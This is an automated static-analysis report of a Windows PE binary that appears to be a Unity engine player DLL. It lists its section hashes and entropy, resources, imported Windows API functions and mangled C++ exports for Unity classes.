[EXP] VS2010 SP1 build 40219
[RES] VS2010 SP1 build 40219
[LNK] VS2010 SP1 build 40219

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0xdccf80	0x2ed95	.rdata
IMAGE_DIRECTORY_ENTRY_IMPORT	0xdca1d4	0x17c	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0xf11000	0x8a678	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x28f653b5	0x2988
IMAGE_DIRECTORY_ENTRY_BASERELOC	0xf9c000	0x5f6f6	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0xc0e700	0x1c	.rdata
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0xc0b000	0x87c	.rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0xc0923a	0xc09400	4219acf66889dcc2178207393ad8cc29	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rdata	0xc0b000	0x1f0d15	0x1f0e00	a6688ea3e9222470b9896f590b42fc88	False	0.30030169025157233	data	6.101189200741917	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0xdfc000	0x1106c0	0x53a00	85a1119608991ddb7626ac9fb0d37f1d	False	0.3294270833333333	GLS_BINARY_LSB_FIRST	4.983314906518131	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.trace	0xf0d000	0x1fe4	0x2000	ed418bd6c22412e51c81a065c4ea95a6	False	0.382568359375	data	5.2761476162743675	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data1	0xf0f000	0x40	0x200	f5688adfeaf35cd6be99948b3e39f323	False	0.06640625	data	0.4364468883746211	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
_RDATA	0xf10000	0x540	0x600	e29c108dd3594bacaa82f968f0b77015	False	0.412109375	data	4.20703545298518	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.rsrc	0xf11000	0x8a678	0x8a800	c35cb3448df31d62416bad77aad679db	False	0.2236715929602888	data	5.675246247923774	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0xf9c000	0x98e00	0x98e00	976cba5f07fcc2b054a989b0059864ad	False	0.5238415397587899	data	6.172475368260739	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_ICON	0xf11930	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 2048	English	United States	0.6072695035460993
RT_ICON	0xf11d98	0x988	Device independent bitmap graphic, 24 x 48 x 32, image size 4608	English	United States	0.5327868852459017
RT_ICON	0xf12720	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 8192	English	United States	0.49530956848030017
RT_ICON	0xf137c8	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 18432	English	United States	0.449896265560166
RT_ICON	0xf15d70	0x4228	Device independent bitmap graphic, 64 x 128 x 32, image size 32768	English	United States	0.42152810581010863
RT_ICON	0xf19f98	0x94a8	Device independent bitmap graphic, 96 x 192 x 32, image size 73728	English	United States	0.35445133487492114
RT_ICON	0xf23440	0x10828	Device independent bitmap graphic, 128 x 256 x 32, image size 131072	English	United States	0.29264758074056546
RT_ICON	0xf33c68	0x25228	Device independent bitmap graphic, 192 x 384 x 32, image size 294912	English	United States	0.21263083153631726
RT_ICON	0xf58e90	0x42028	Device independent bitmap graphic, 256 x 512 x 32, image size 524288	English	United States	0.16735213184602182
RT_DIALOG	0xf113c0	0x124	data	English	United States	0.6164383561643836
RT_DIALOG	0xf114e8	0x10c	data	English	United States	0.6119402985074627
RT_DIALOG	0xf115f8	0x1c2	data	English	United States	0.5177777777777778
RT_DIALOG	0xf117c0	0xdc	data	English	United States	0.6954545454545454
RT_DIALOG	0xf118a0	0x8e	data	English	United States	0.795774647887324
RT_GROUP_ICON	0xf9aeb8	0x84	data	English	United States	0.7196969696969697
RT_VERSION	0xf9b4c8	0x1b0	data	English	United States	0.5324074074074074
RT_MANIFEST	0xf9af40	0x581	XML 1.0 document, ASCII text, with CRLF line terminators	English	United States	0.47764371894960966

Imports

DLL	Import
HID.DLL	HidP_GetData, HidP_MaxDataListLength, HidP_GetValueCaps, HidP_GetButtonCaps, HidP_GetCaps, HidD_GetHidGuid, HidD_GetProductString, HidD_GetPreparsedData, HidD_FreePreparsedData
WS2_32.dll	getnameinfo, WSACleanup, closesocket, htonl, inet_ntoa, WSAStartup, inet_addr, getsockname, getsockopt, WSAEventSelect, connect, WSACreateEvent, getprotobyname, WSAWaitForMultipleEvents, WSAResetEvent, WSAEnumNetworkEvents, WSASetEvent, recv, getpeername, gethostbyname, htons, WSAGetLastError, ntohl, shutdown, listen, accept, WSACloseEvent, getaddrinfo, WSAIoctl, recvfrom, sendto, send, bind, __WSAFDIsSet, ntohs, freeaddrinfo, WSASetLastError, select, setsockopt, ioctlsocket, gethostname, WSAAsyncGetHostByName, WSACancelAsyncRequest, socket
KERNEL32.dll	GetFileAttributesExW, CloseHandle, CreateFileW, SetFileAttributesW, GetFileAttributesW, CopyFileW, FindClose, FindNextFileW, FindFirstFileW, FindFirstFileExW, SetFilePointer, SetEndOfFile, SetFilePointerEx, ReadFile, WriteFile, CreateDirectoryW, RemoveDirectoryW, DeleteFileW, MoveFileExW, GetFileSizeEx, SetFileTime, SystemTimeToFileTime, GetSystemTime, GetModuleFileNameW, QueryPerformanceFrequency, QueryPerformanceCounter, LocalFree, FormatMessageW, GlobalUnlock, GlobalLock, GlobalAlloc, GetProcAddress, GetModuleHandleA, lstrcpynA, lstrcpyA, lstrcpynW, FreeLibrary, GetCommandLineW, LoadLibraryW, CancelIo, GetOverlappedResult, CreateEventW, ExpandEnvironmentStringsA, CreateMutexA, GetCurrentThreadId, RaiseException, VerifyVersionInfoW, VerSetConditionMask, GetCurrentProcess, GetModuleHandleW, GetVersionExW, GlobalMemoryStatusEx, GetUserDefaultLangID, GetComputerNameW, GetTempPathW, LoadLibraryA, GetCurrentProcessId, SetUnhandledExceptionFilter, WaitForSingleObject, CreateThread, GetCurrentDirectoryW, OpenEventW, DebugBreak, SetLastError, OutputDebugStringA, GetEnvironmentVariableA, GetFileAttributesA, GetModuleFileNameA, GetVersionExA, GetCurrentDirectoryA, WideCharToMultiByte, GetThreadContext, SuspendThread, GetCurrentThread, GetFullPathNameW, CreateSemaphoreA, Sleep, WaitForSingleObjectEx, ReleaseSemaphore, InterlockedCompareExchange, CreateEventA, SleepEx, GetThreadTimes, OpenThread, DeleteCriticalSection, EnterCriticalSection, LeaveCriticalSection, TryEnterCriticalSection, MultiByteToWideChar, SetThreadPriority, IsDebuggerPresent, SetEvent, InitializeCriticalSection, ResetEvent, GetWindowsDirectoryW, ReleaseMutex, UnmapViewOfFile, MapViewOfFile, CreateFileMappingA, GetSystemTimeAsFileTime, GetFileSize, FileTimeToDosDateTime, FileTimeToLocalFileTime, lstrlenA, GetFileTime, VirtualQuery, GlobalMemoryStatus, SetErrorMode, RtlUnwind, EncodePointer, DecodePointer, HeapFree, HeapAlloc, ExitProcess, HeapReAlloc, HeapQueryInformation, HeapSize, SetConsoleCtrlHandler, DuplicateHandle, ExitThread, GetCommandLineA, HeapSetInformation, GetStartupInfoW, IsProcessorFeaturePresent, UnhandledExceptionFilter, TerminateProcess, InterlockedIncrement, InterlockedDecrement, GetStdHandle, GetLocaleInfoW, HeapCreate, GetCPInfo, GetACP, GetOEMCP, IsValidCodePage, InterlockedExchange, SetHandleCount, GetFileType, GetConsoleCP, GetConsoleMode, FlushFileBuffers, SetStdHandle, LCMapStringW, FreeEnvironmentStringsW, GetEnvironmentStringsW, GetTickCount, GetStringTypeW, GetUserDefaultLCID, GetLocaleInfoA, EnumSystemLocalesA, IsValidLocale, CompareStringW, SetEnvironmentVariableA, WriteConsoleW, CreateFileA, GetProcessHeap, FormatMessageA, GetFullPathNameA, lstrcmpiA, GetProcessAffinityMask, InterlockedExchangeAdd, SwitchToThread, SetThreadAffinityMask, TerminateThread, GetThreadPriority, InitializeSListHead, InterlockedPushEntrySList, InterlockedPopEntrySList, InterlockedFlushSList, OpenEventA, GetSystemDirectoryA, GetLastError, VirtualFree, VirtualAlloc, GetSystemInfo, TlsSetValue, TlsGetValue, TlsFree, TlsAlloc, InitializeCriticalSectionAndSpinCount, GetVersion, FlushConsoleInputBuffer, SignalObjectAndWait, CreateMutexW, CreateSemaphoreW, GetTimeFormatA, GetDateFormatA, FileTimeToSystemTime, GetFileInformationByHandle, PeekNamedPipe, GetDriveTypeA, FindFirstFileExA, GetTimeZoneInformation, ReadConsoleInputA, SetConsoleMode, GetDriveTypeW, ResumeThread
USER32.dll	GetWindowLongA, PtInRect, TranslateMessage, DispatchMessageA, UnregisterDeviceNotification, ReleaseCapture, SetCapture, GetAsyncKeyState, GetClipboardData, OpenClipboard, EmptyClipboard, GetMessageExtraInfo, SetClipboardData, CreateWindowExW, DestroyWindow, DefWindowProcW, DestroyCursor, LoadCursorA, SetCursor, GetSystemMetrics, GetDC, ReleaseDC, CreateIconIndirect, ScreenToClient, IsWindowVisible, RegisterDeviceNotificationW, SystemParametersInfoW, CloseClipboard, ClientToScreen, GetProcessWindowStation, IsClipboardFormatAvailable, GetUserObjectInformationW, wvsprintfA, MonitorFromWindow, GetCaretBlinkTime, UpdateWindow, PeekMessageA, GetMessageA, ValidateRect, EnumDisplayDevicesA, EnumDisplayMonitors, GetMonitorInfoA, LoadImageA, DialogBoxParamA, GetKeyState, IsDlgButtonChecked, CheckDlgButton, CreateDialogParamW, PeekMessageW, IsDialogMessageW, DispatchMessageW, MsgWaitForMultipleObjects, EnableWindow, SetWindowTextW, RegisterClassW, PostQuitMessage, SetWindowLongW, GetWindowLongW, ClipCursor, SetCursorPos, ShowCursor, GetFocus, SetFocus, WindowFromPoint, MessageBoxW, RegisterClassExW, DialogBoxParamW, EndDialog, LoadIconA, SendDlgItemMessageW, SetDlgItemTextA, SetDlgItemTextW, MessageBoxA, CopyRect, OffsetRect, GetAncestor, UnregisterClassW, GetDesktopWindow, EnumDisplaySettingsA, AdjustWindowRectEx, GetWindowPlacement, ChangeDisplaySettingsA, GetDlgItem, SetWindowLongA, CreateDialogParamA, SetWindowPos, GetWindowRect, GetParent, GetThreadDesktop, GetUserObjectInformationA, EnumWindows, RegisterWindowMessageA, SendMessageA, SendMessageTimeoutA, IsIconic, ShowWindow, SetForegroundWindow, GetCursorPos, GetRawInputDeviceInfoW, GetRawInputData, RegisterRawInputDevices, wsprintfA, GetClientRect, GetRawInputDeviceList
VERSION.dll	GetFileVersionInfoSizeA, GetFileVersionInfoA, GetFileVersionInfoSizeW, GetFileVersionInfoW, VerQueryValueA
ole32.dll	CoUninitialize, CoInitialize, CoCreateGuid, StringFromGUID2, CoCreateInstance, CoSetProxyBlanket, CoTaskMemFree, CoTaskMemAlloc
SHLWAPI.dll	PathFileExistsW, SHDeleteKeyA, PathCanonicalizeW
ADVAPI32.dll	CryptGetHashParam, CryptImportKey, CryptVerifySignatureA, CryptDestroyKey, RegDeleteValueA, GetUserNameA, RegCreateKeyExW, RegQueryValueExW, CryptDestroyHash, RegOpenKeyExW, RegSetValueExW, RegCreateKeyA, RegSetValueExA, RegOpenKeyExA, RegQueryValueExA, RegCloseKey, RegisterEventSourceA, ReportEventA, DeregisterEventSource, CryptHashData, CryptReleaseContext, CryptCreateHash, CryptAcquireContextA
GDI32.dll	SwapBuffers, GetObjectA, GetDeviceCaps, ChoosePixelFormat, SetPixelFormat, DeleteObject, CreateBitmap, CreateDIBSection
SHELL32.dll	ShellExecuteW, CommandLineToArgvW, SHGetFolderPathW, SHFileOperationW
OPENGL32.dll	glPixelStorei, glCopyTexSubImage2D, glDrawBuffer, glReadBuffer, glGetError, glDrawElements, glDrawArrays, glFogi, glFogfv, glLightModelfv, glMaterialfv, glMaterialf, glReadPixels, glFinish, glFogf, glLightfv, glLightf, glTexEnvfv, glScissor, glViewport, glColor4fv, glLightModeli, glColorMaterial, glGetFloatv, glMultMatrixf, glMatrixMode, glLoadMatrixf, glPolygonMode, glFrontFace, glTexSubImage2D, glClearDepth, glClearStencil, glClear, glStencilMask, glDepthFunc, glDepthMask, glCullFace, glPolygonOffset, glColorMask, glDisable, glBlendFunc, glEnable, glAlphaFunc, glTexEnvi, glGetString, glDeleteTextures, glGetIntegerv, glGenTextures, glBindTexture, glTexParameteri, glTexImage2D, wglGetCurrentDC, wglGetCurrentContext, wglCreateContext, wglMakeCurrent, wglDeleteContext, wglShareLists, wglGetProcAddress, glGetTexParameteriv, glTexGenfv, glLoadIdentity, glLightModelf, glHint, glIsTexture, glDisableClientState, glTexCoordPointer, glNormalPointer, glVertexPointer, glEnableClientState, glColorPointer, glColor4f, glClearColor, glTexEnvf
WINMM.dll	waveOutUnprepareHeader, waveOutWrite, waveOutReset, waveOutGetPosition, waveInAddBuffer, waveInPrepareHeader, waveInUnprepareHeader, waveOutGetDevCapsW, waveOutOpen, waveInStart, waveInOpen, waveInClose, waveInReset, waveOutPrepareHeader, waveOutGetDevCapsA, waveOutGetNumDevs, waveInGetDevCapsW, waveOutClose, timeGetTime, waveInGetNumDevs, timeBeginPeriod, timeEndPeriod, waveInGetDevCapsA
OLEAUT32.dll	SysStringLen, SysAllocString, VariantClear, VariantInit, SysFreeString, VariantChangeType
MSACM32.dll	acmStreamOpen, acmStreamPrepareHeader, acmStreamConvert, acmStreamUnprepareHeader, acmFormatSuggest, acmStreamSize
IMM32.dll	ImmReleaseContext, ImmSetOpenStatus, ImmGetConversionStatus, ImmGetContext, ImmAssociateContext, ImmAssociateContextEx, ImmGetCompositionStringW, ImmSetCompositionStringW
DNSAPI.dll	DnsFree, DnsQuery_A
IPHLPAPI.DLL	GetIpAddrTable
WINHTTP.dll	WinHttpGetIEProxyConfigForCurrentUser

Exports

Name	Ordinal	Address
??$Transfer@V?$StreamedBinaryRead@$00@@@AnimationEvent@@QAEXAAV?$StreamedBinaryRead@$00@@@Z	1	0x8534a0
??$Transfer@V?$StreamedBinaryRead@$00@@@Behaviour@@QAEXAAV?$StreamedBinaryRead@$00@@@Z	2	0x523580
??$Transfer@V?$StreamedBinaryRead@$00@@@Component@Unity@@QAEXAAV?$StreamedBinaryRead@$00@@@Z	3	0x4113a0
??$Transfer@V?$StreamedBinaryRead@$00@@@GameObject@Unity@@QAEXAAV?$StreamedBinaryRead@$00@@@Z	4	0x412260
??$Transfer@V?$StreamedBinaryRead@$00@@@GlobalGameManager@@QAEXAAV?$StreamedBinaryRead@$00@@@Z	5	0x417580
??$Transfer@V?$StreamedBinaryRead@$00@@@LevelGameManager@@QAEXAAV?$StreamedBinaryRead@$00@@@Z	6	0x417580
??$Transfer@V?$StreamedBinaryRead@$00@@@NamedObject@@QAEXAAV?$StreamedBinaryRead@$00@@@Z	7	0x417490
??$Transfer@V?$StreamedBinaryRead@$00@@@Object@@IAEXAAV?$StreamedBinaryRead@$00@@@Z	8	0x5b1110
??$Transfer@V?$StreamedBinaryRead@$00@@@Renderer@@QAEXAAV?$StreamedBinaryRead@$00@@@Z	9	0x514230
??$Transfer@V?$StreamedBinaryRead@$00@@@Terrain@@QAEXAAV?$StreamedBinaryRead@$00@@@Z	10	0x8bb6f0
??$Transfer@V?$StreamedBinaryRead@$0A@@@@AnimationEvent@@QAEXAAV?$StreamedBinaryRead@$0A@@@@Z	11	0x8533c0
??$Transfer@V?$StreamedBinaryRead@$0A@@@@Behaviour@@QAEXAAV?$StreamedBinaryRead@$0A@@@@Z	12	0x523820
??$Transfer@V?$StreamedBinaryRead@$0A@@@@Component@Unity@@QAEXAAV?$StreamedBinaryRead@$0A@@@@Z	13	0x411370
??$Transfer@V?$StreamedBinaryRead@$0A@@@@GameObject@Unity@@QAEXAAV?$StreamedBinaryRead@$0A@@@@Z	14	0x4121b0
??$Transfer@V?$StreamedBinaryRead@$0A@@@@GlobalGameManager@@QAEXAAV?$StreamedBinaryRead@$0A@@@@Z	15	0x417580
??$Transfer@V?$StreamedBinaryRead@$0A@@@@LevelGameManager@@QAEXAAV?$StreamedBinaryRead@$0A@@@@Z	16	0x417580
??$Transfer@V?$StreamedBinaryRead@$0A@@@@NamedObject@@QAEXAAV?$StreamedBinaryRead@$0A@@@@Z	17	0x417520
??$Transfer@V?$StreamedBinaryRead@$0A@@@@Object@@IAEXAAV?$StreamedBinaryRead@$0A@@@@Z	18	0x5b1110
??$Transfer@V?$StreamedBinaryRead@$0A@@@@Renderer@@QAEXAAV?$StreamedBinaryRead@$0A@@@@Z	19	0x514030
??$Transfer@V?$StreamedBinaryRead@$0A@@@@Terrain@@QAEXAAV?$StreamedBinaryRead@$0A@@@@Z	20	0x8bb3c0
??$Transfer@V?$StreamedBinaryWrite@$0A@@@@AnimationEvent@@QAEXAAV?$StreamedBinaryWrite@$0A@@@@Z	21	0x852f80
??$Transfer@V?$StreamedBinaryWrite@$0A@@@@Behaviour@@QAEXAAV?$StreamedBinaryWrite@$0A@@@@Z	22	0x5235d0
??$Transfer@V?$StreamedBinaryWrite@$0A@@@@Component@Unity@@QAEXAAV?$StreamedBinaryWrite@$0A@@@@Z	23	0x4113d0
??$Transfer@V?$StreamedBinaryWrite@$0A@@@@GameObject@Unity@@QAEXAAV?$StreamedBinaryWrite@$0A@@@@Z	24	0x412340
??$Transfer@V?$StreamedBinaryWrite@$0A@@@@GlobalGameManager@@QAEXAAV?$StreamedBinaryWrite@$0A@@@@Z	25	0x417580
??$Transfer@V?$StreamedBinaryWrite@$0A@@@@LevelGameManager@@QAEXAAV?$StreamedBinaryWrite@$0A@@@@Z	26	0x417580
??$Transfer@V?$StreamedBinaryWrite@$0A@@@@NamedObject@@QAEXAAV?$StreamedBinaryWrite@$0A@@@@Z	27	0x417550
??$Transfer@V?$StreamedBinaryWrite@$0A@@@@Object@@IAEXAAV?$StreamedBinaryWrite@$0A@@@@Z	28	0x5b1110
??$Transfer@V?$StreamedBinaryWrite@$0A@@@@Renderer@@QAEXAAV?$StreamedBinaryWrite@$0A@@@@Z	29	0x5144a0
??$Transfer@V?$StreamedBinaryWrite@$0A@@@@Terrain@@QAEXAAV?$StreamedBinaryWrite@$0A@@@@Z	30	0x8bbbd0
??$Transfer@VProxyTransfer@@@AnimationEvent@@QAEXAAVProxyTransfer@@@Z	31	0x853270
??$Transfer@VProxyTransfer@@@Behaviour@@QAEXAAVProxyTransfer@@@Z	32	0x523520
??$Transfer@VProxyTransfer@@@Component@Unity@@QAEXAAVProxyTransfer@@@Z	33	0x411320
??$Transfer@VProxyTransfer@@@GameObject@Unity@@QAEXAAVProxyTransfer@@@Z	34	0x4124d0
??$Transfer@VProxyTransfer@@@GlobalGameManager@@QAEXAAVProxyTransfer@@@Z	35	0x417580
??$Transfer@VProxyTransfer@@@LevelGameManager@@QAEXAAVProxyTransfer@@@Z	36	0x417580
??$Transfer@VProxyTransfer@@@NamedObject@@QAEXAAVProxyTransfer@@@Z	37	0x4173e0
??$Transfer@VProxyTransfer@@@Object@@IAEXAAVProxyTransfer@@@Z	38	0x5b1110
??$Transfer@VProxyTransfer@@@Renderer@@QAEXAAVProxyTransfer@@@Z	39	0x514790
??$Transfer@VProxyTransfer@@@Terrain@@QAEXAAVProxyTransfer@@@Z	40	0x8ba820
??$Transfer@VRemapPPtrTransfer@@@AnimationEvent@@QAEXAAVRemapPPtrTransfer@@@Z	41	0x852f50
??$Transfer@VRemapPPtrTransfer@@@Behaviour@@QAEXAAVRemapPPtrTransfer@@@Z	42	0x5233b0
??$Transfer@VRemapPPtrTransfer@@@Component@Unity@@QAEXAAVRemapPPtrTransfer@@@Z	43	0x410ff0
??$Transfer@VRemapPPtrTransfer@@@GameObject@Unity@@QAEXAAVRemapPPtrTransfer@@@Z	44	0x4123f0
??$Transfer@VRemapPPtrTransfer@@@GlobalGameManager@@QAEXAAVRemapPPtrTransfer@@@Z	45	0x417580
??$Transfer@VRemapPPtrTransfer@@@LevelGameManager@@QAEXAAVRemapPPtrTransfer@@@Z	46	0x417580
??$Transfer@VRemapPPtrTransfer@@@NamedObject@@QAEXAAVRemapPPtrTransfer@@@Z	47	0x417580
??$Transfer@VRemapPPtrTransfer@@@Object@@IAEXAAVRemapPPtrTransfer@@@Z	48	0x5b1110
??$Transfer@VRemapPPtrTransfer@@@Renderer@@QAEXAAVRemapPPtrTransfer@@@Z	49	0x513e80
??$Transfer@VRemapPPtrTransfer@@@Terrain@@QAEXAAVRemapPPtrTransfer@@@Z	50	0x8bbf60
??$Transfer@VSafeBinaryRead@@@AnimationEvent@@QAEXAAVSafeBinaryRead@@@Z	51	0x853840
??$Transfer@VSafeBinaryRead@@@Behaviour@@QAEXAAVSafeBinaryRead@@@Z	52	0x523780
??$Transfer@VSafeBinaryRead@@@Component@Unity@@QAEXAAVSafeBinaryRead@@@Z	53	0x411cd0
??$Transfer@VSafeBinaryRead@@@GameObject@Unity@@QAEXAAVSafeBinaryRead@@@Z	54	0x412b40
??$Transfer@VSafeBinaryRead@@@GlobalGameManager@@QAEXAAVSafeBinaryRead@@@Z	55	0x417580
??$Transfer@VSafeBinaryRead@@@LevelGameManager@@QAEXAAVSafeBinaryRead@@@Z	56	0x417580
??$Transfer@VSafeBinaryRead@@@NamedObject@@QAEXAAVSafeBinaryRead@@@Z	57	0x417420
??$Transfer@VSafeBinaryRead@@@Object@@IAEXAAVSafeBinaryRead@@@Z	58	0x5b1110
??$Transfer@VSafeBinaryRead@@@Renderer@@QAEXAAVSafeBinaryRead@@@Z	59	0x514ad0
??$Transfer@VSafeBinaryRead@@@Terrain@@QAEXAAVSafeBinaryRead@@@Z	60	0x8bad30
??0?$AnimationCurveTpl@M@@QAE@ABV0@@Z	61	0x446f10
??0?$AnimationCurveTpl@M@@QAE@XZ	62	0x4466b0
??0?$AnimationCurveTpl@VQuaternionf@@@@QAE@ABV0@@Z	63	0x446cf0
??0?$AnimationCurveTpl@VQuaternionf@@@@QAE@XZ	64	0x4465a0
??0?$AnimationCurveTpl@VVector3f@@@@QAE@ABV0@@Z	65	0x446e40
??0?$AnimationCurveTpl@VVector3f@@@@QAE@XZ	66	0x446630
??0?$CallbackArray1@AAUClassRegistrationContext@@@@QAE@XZ	67	0x41ee90
??0?$CallbackArray1@AAVModuleManager@@@@QAE@XZ	68	0x41ee90
??0?$CallbackArray1@ABVCamera@@@@QAE@XZ	69	0x41ee90
??0?$CallbackArray1@PAVCamera@@@@QAE@XZ	70	0x41ee90
??0?$CallbackArray2@PBUIndexList@@PBURendererCullData@@@@QAE@XZ	71	0x41ee90
??0?$CallbackArray3@ABV?$basic_string@DU?$char_traits@D@std@@V?$stl_allocator@D$0DL@$0BA@@@@std@@AAVAwakeFromLoadQueue@@W4LoadingMode@LoadSceneOperation@@@@QAE@XZ	72	0x41ee90
??0?$CallbackArrayBase@P6AXAAUClassRegistrationContext@@@Z@@QAE@XZ	73	0x41ee90
??0?$CallbackArrayBase@P6AXAAVModuleManager@@@Z@@QAE@XZ	74	0x41ee90
??0?$CallbackArrayBase@P6AXABV?$basic_string@DU?$char_traits@D@std@@V?$stl_allocator@D$0DL@$0BA@@@@std@@AAVAwakeFromLoadQueue@@W4LoadingMode@LoadSceneOperation@@@Z@@QAE@XZ	75	0x41ee90
??0?$CallbackArrayBase@P6AXABVCamera@@@Z@@QAE@XZ	76	0x41ee90
??0?$CallbackArrayBase@P6AXPAVCamera@@@Z@@QAE@XZ	77	0x41ee90
??0?$CallbackArrayBase@P6AXPBUIndexList@@PBURendererCullData@@@Z@@QAE@XZ	78	0x41ee90
??0?$CallbackArrayBase@P6AXXZ@@QAE@XZ	79	0x41ee90
??0?$KeyframeTpl@M@@QAE@MABM@Z	80	0x5a8ac0
??0?$KeyframeTpl@VQuaternionf@@@@QAE@MABVQuaternionf@@@Z	81	0x5a82f0
??0?$KeyframeTpl@VVector3f@@@@QAE@MABVVector3f@@@Z	82	0x5a8280
??0?$RectT@H@@QAE@HHHH@Z	83	0x435a60
??0?$RectT@H@@QAE@XZ	84	0x435e00
??0?$RectT@M@@QAE@MMMM@Z	85	0x40d5e0
??0?$RectT@M@@QAE@XZ	86	0x418620
??0?$StreamedBinaryWrite@$00@@QAE@XZ	87	0x417310
??0?$StreamedBinaryWrite@$0A@@@QAE@XZ	88	0x417310
??0BaseBehaviourManager@@QAE@ABV0@@Z	89	0x40d160
??0BaseBehaviourManager@@QAE@XZ	90	0x40cf90
??0BaseRenderer@@QAE@ABV0@@Z	91	0x4181e0
??0BaseRenderer@@QAE@W4RendererType@@@Z	92	0x452e10
??0Behaviour@@QAE@UMemLabelId@@W4ObjectCreationMode@@@Z	93	0x40c9c0
??0BlobWrite@@QAE@AAU?$dynamic_array@E$0BA@@@W4TransferInstructionFlags@@W4BuildTargetPlatform@@@Z	94	0x636db0
??0BlobWrite@@QAE@ABV0@@Z	95	0x5caff0
??0BuildTargetSelection@@QAE@W4BuildTargetPlatform@@H@Z	96	0x405900
??0BuildTargetSelection@@QAE@XZ	97	0x4058f0
??0CallbackArray@@QAE@XZ	98	0x41ee90
??0Camera@@QAE@UMemLabelId@@W4ObjectCreationMode@@@Z	99	0x455f00
??0CollisionMeshData@@QAE@XZ	100	0x4b1680
??0Component@Unity@@QAE@UMemLabelId@@W4ObjectCreationMode@@@Z	101	0x40ed40
??0EditorExtension@@QAE@UMemLabelId@@W4ObjectCreationMode@@@Z	102	0x407570
??0GameManager@@QAE@UMemLabelId@@W4ObjectCreationMode@@@Z	103	0x4076d0
??0GameObject@Unity@@QAE@UMemLabelId@@W4ObjectCreationMode@@@Z	104	0x40f260
??0GlobalCallbacks@@QAE@XZ	105	0x454080
??0GlobalGameManager@@QAE@UMemLabelId@@W4ObjectCreationMode@@@Z	106	0x40de20
??0IAnimation@@QAE@XZ	107	0x4b6730
??0IClusterRenderer@@QAE@XZ	108	0x59b4d0
??0INetwork@@QAE@XZ	109	0x5e3e90
??0IPhysics@@QAE@XZ	110	0x445750
??0IPhysicsEditor@@QAE@XZ	111	0x445760
??0IRaycast@@QAE@XZ	112	0x45fd70
??0IUmbra@@QAE@XZ	113	0x43fc40
??0IVRDevice@@QAE@ABV0@@Z	114	0x453230
??0IVRDevice@@QAE@XZ	115	0x453220
??0IntermediateRenderer@@QAE@XZ	116	0x4696e0
??0JobQueue@@QAE@IHW4JobQueueFlags@0@PBD@Z	117	0x653a00
??0LevelGameManager@@QAE@UMemLabelId@@W4ObjectCreationMode@@@Z	118	0x40ddf0
??0ListElement@@QAE@XZ	119	0x406780
??0Material@Unity@@QAE@UMemLabelId@@W4ObjectCreationMode@@@Z	120	0x647590
??0MaterialPropertyBlock@@QAE@ABV0@@Z	121	0x418d30
??0MaterialPropertyBlock@@QAE@PAUProperty@0@IPAMI@Z	122	0x64abf0
??0MaterialPropertyBlock@@QAE@UMemLabelId@@@Z	123	0x418720
??0Matrix3x3f@@QAE@ABVMatrix4x4f@@@Z	124	0x59ca10
??0Matrix3x3f@@QAE@MMMMMMMMM@Z	125	0x40e5d0
??0Matrix3x3f@@QAE@XZ	126	0x5e3e90
??0Matrix4x4f@@QAE@ABVMatrix3x3f@@@Z	127	0x59e530
??0Matrix4x4f@@QAE@QBM@Z	128	0x59e4c0
??0Matrix4x4f@@QAE@XZ	129	0x5e3e90
??0MemLabelId@@QAE@W4MemLabelIdentifier@@@Z	130	0x4010a0
??0MemLabelId@@QAE@W4MemLabelIdentifier@@PAUAllocationRootReference@@@Z	131	0x405240
??0MemLabelId@@QAE@W4MemLabelIdentifier@@PAUProfilerAllocationHeader@@@Z	132	0x405240
??0MemLabelId@@QAE@XZ	133	0x5e3e90
??0MemoryPool@@QAE@ABV0@@Z	134	0x409220
??0MemoryPool@@QAE@_NPBDHHUMemLabelId@@H@Z	135	0x663a00
??0Mesh@@QAE@UMemLabelId@@W4ObjectCreationMode@@@Z	136	0x4cd7e0
??0MeshFilter@@QAE@UMemLabelId@@W4ObjectCreationMode@@@Z	137	0x4d25a0
??0MeshIntermediateRenderer@@QAE@XZ	138	0x469800
??0MeshIntermediateRendererWithDistanceSortingOrder@@QAE@XZ	139	0x469890
??0MobileBuildSubTarget@@QAE@H@Z	140	0x4010a0
??0MobileBuildSubTarget@@QAE@W4MobileTextureSubtarget@@I@Z	141	0x4059b0
??0ModuleManager@@QAE@XZ	142	0x41f0b0
??0MonoManager@@QAE@UMemLabelId@@W4ObjectCreationMode@@@Z	143	0x548e60
??0NamedObject@@QAE@UMemLabelId@@W4ObjectCreationMode@@@Z	144	0x417230
??0NonCopyable@@QAE@XZ	145	0x5e3e90
